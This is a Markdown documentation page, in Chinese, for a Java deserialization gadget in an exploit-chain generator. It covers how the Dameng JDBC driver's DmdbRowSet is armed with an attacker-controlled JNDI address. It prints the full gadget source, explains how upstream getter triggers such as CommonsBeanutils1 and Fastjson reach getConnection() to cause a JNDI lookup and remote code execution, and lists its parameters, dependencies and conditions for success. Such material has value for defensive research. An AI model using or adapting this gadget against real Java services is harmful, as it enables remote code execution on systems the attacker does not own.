Skip to content

Latest commit

 

History

History
64 lines (53 loc) · 4.55 KB

File metadata and controls

64 lines (53 loc) · 4.55 KB

达梦 DataSource JNDI(DmdbRowSet)

  • 类别:javanative 别名:— 优先级:—
  • 作者:—
  • 依赖com.dameng:DmJdbcDriver18:8.1.2.141

作用

构造一个达梦数据库驱动里的 dm.jdbc.driver.DmdbRowSet 对象,并把它的 dataSourceName 设为攻击者可控的 JNDI 地址。当上游 gadget 触发本对象的 getConnection()(即读取 connection 属性的 getter)时,DmdbRowSet 会以 dataSourceName 为名做一次 JNDI 查找,从而把「任意 getter 触发」转化为 JNDI 注入(RCE / 探测)。是 RowSet 系 JNDI sink 的达梦变体,与 JdbcRowSetImpl 同理。

链接标签

  • 入口 tags
    • DataSourceChains —— 表示本 gadget 属于「DataSource 系」,可承接上游 nextTagsDataSourceChains 的 gadget(如 FastjsonFastjson2)。
    • Getter —— 本 gadget 是靠「被调用某个 getter」来触发的,需要一个能调 getter 的上游(CommonsBeanutils1/Fastjson 等)。
    • END —— 本 gadget 是链尾 sink,不再向下衔接。
  • 衔接 nextTags:无(终点,JNDI 查找即终态,后续由外部 LDAP/RMI 服务接管)。
  • excludes:无。

源码剖析

@GadgetTags(tags={"DataSourceChains", "Getter", "END"})
public class DmdbRowSet implements Gadget {
    private final String getterMethodName = "getConnection";
    private final String getterPropertyName = "connection";
    @Param(name="jndi地址")
    public String jndiUrl = "ldap://127.0.0.1:1389/x";

    public Object getObject() throws Exception {
        dm.jdbc.driver.DmdbRowSet dmdbRowSet = new dm.jdbc.driver.DmdbRowSet();
        dmdbRowSet.setDataSourceName(this.jndiUrl);   // 把 JNDI 地址写入 dataSourceName
        dmdbRowSet.setReader(null);                    // 置空可序列化障碍字段
        dmdbRowSet.setWriter(null);
        return dmdbRowSet;
    }

    @Override
    public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
        context.put(ContextTag.SUPER_CLASS_NAME_KEY, DataSource.class);   // 声明目标属于 DataSource 类型
        context.put(ContextTag.SPECIAL_METHOD_NAME_KEY, "getConnection"); // 告知上游要调用的方法名
        context.put(ContextTag.GETTER_PARAM_NAME_KEY, "connection");      // 告知上游要触发的属性名
        return this.getObject();
    }
}

逐段解释:

  • getObject() 直接 new DmdbRowSet(),调用其 setDataSourceName(jndiUrl)javax.sql.rowset.BaseRowSet 体系中,getConnection() 内部会用 dataSourceNameInitialContext().lookup(dataSourceName),这正是 JNDI 注入点。setReader(null)/setWriter(null) 是把可能阻碍序列化或造成 NPE 的字段清空。
  • invoke() 与内层无关(它不调用 chain.doCreate),只通过 GadgetContext上游 getter 触发器注入三条元信息:目标父类型 DataSource、要调用的方法 getConnection、对应属性名 connection。上游(如 CommonsBeanutils1BeanComparator、或 FastjsonJSONArray.toString)读取 GETTER_PARAM_NAME_KEY 后,就会对本对象调用 getConnection(),从而落地 JNDI 查找。

触发条件:目标 classpath 存在达梦驱动 DmJdbcDriver18;且需一个能触发 getter 的上游 gadget;JNDI 注入能否 RCE 还取决于目标 JDK 版本与 LDAP/RMI 可达性。

参数(@Param)

字段 名称 说明 默认 可选值
jndiUrl jndi地址 getConnection() 时用于 JNDI lookup 的地址 ldap://127.0.0.1:1389/x 任意 LDAP/RMI URL

适用版本与原理要点

  • 依赖达梦 JDBC 驱动 com.dameng:DmJdbcDriver18:8.1.2.141DmdbRowSet 继承自标准 javax.sql.rowset 体系,其 getConnection() 使用 dataSourceName 走 JNDI,与 com.sun.rowset.JdbcRowSetImpl.getDatabaseMetaData()connect() 属同一类「RowSet + JNDI」思路。
  • 本身是纯 sink,能否成功取决于「上游 getter 触发器」是否可用,以及 JNDI 高版本 JDK 绕过条件。

所属预设链

自由构件,未直接出现在预设链(usedInChains 为空)。可与任意「触发 getter」的上游自由组合。

关联